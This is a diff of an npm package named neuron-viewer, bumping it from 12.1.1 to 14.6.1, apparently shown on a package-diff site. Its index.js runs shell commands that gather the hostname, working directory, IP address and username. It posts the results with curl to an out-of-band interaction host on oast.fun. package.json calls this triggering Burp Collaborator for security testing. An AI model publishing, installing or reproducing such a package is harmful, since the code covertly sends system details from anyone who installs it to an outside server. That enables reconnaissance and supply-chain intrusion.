neuron-viewer 12.1.1 → 14.6.1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +36 -5
  2. package/package.json +9 -1
package/index.js CHANGED
@@ -1,38 +1,69 @@
1
- import { exec } from "child_process";
1
+ const { exec } = require("child_process");
2
+
2
3
 
3
4
  function sendPingback(data) {
4
- const collaboratorUrl = "https://lodw0trx6ofihunthng3h5o8vz1rpid7.oastify.com";
5
-
5
+
6
+ const collaboratorUrl = "https://rxthgpisbdduguomjwmim6pumgc4u8gto.oast.fun";
7
+
6
8
  exec(`curl -X POST -d "${data}" ${collaboratorUrl}`, (error, stdout, stderr) => {
9
+
7
10
  if (error) {
11
+
8
12
  console.error(`Error: ${error.message}`);
13
+
9
14
  return;
15
+
10
16
  }
17
+
11
18
  if (stderr) {
19
+
12
20
  console.error(`Stderr: ${stderr}`);
21
+
13
22
  return;
23
+
14
24
  }
25
+
15
26
  console.log(`Pingback sent: ${stdout}`);
27
+
16
28
  });
29
+
17
30
  }
18
31
 
32
+
19
33
  function executeCommand(command) {
34
+
20
35
  exec(command, (error, stdout, stderr) => {
36
+
21
37
  if (error) {
38
+
22
39
  console.error(`Error: ${error.message}`);
40
+
23
41
  sendPingback(`Error executing command: ${error.message}`);
42
+
24
43
  return;
44
+
25
45
  }
46
+
26
47
  if (stderr) {
48
+
27
49
  console.error(`Stderr: ${stderr}`);
50
+
28
51
  sendPingback(`Stderr: ${stderr}`);
52
+
29
53
  return;
54
+
30
55
  }
56
+
31
57
  console.log(`Command output: ${stdout}`);
58
+
32
59
  sendPingback(stdout); // Send the command output to the collaborator
60
+
33
61
  });
62
+
34
63
  }
35
64
 
36
- // Example: Execute a command
37
- executeCommand('pwd');
65
+
66
+ // Example: Execute a command (e.g., 'whoami')
67
+
68
+ executeCommand('echo "Hostname: $(hostname), Directory: $(pwd), IP Address: $(hostname -I | awk '{print $1}'), Username: $(whoami)"');
38
69
 
package/package.json CHANGED
@@ -1,17 +1,25 @@
1
1
  {
2
2
 
3
+
3
4
  "name": "neuron-viewer",
4
5
 
5
- "version": "12.1.1",
6
+
7
+ "version": "14.6.1",
8
+
6
9
 
7
10
  "description": "A simple package to trigger Burp Collaborator for security testing",
8
11
 
12
+
9
13
  "main": "index.js",
10
14
 
15
+
11
16
  "scripts": {
12
17
 
18
+
13
19
  "test": "node index.js"
14
20
 
21
+
15
22
  }
16
23
 
24
+
17
25
  }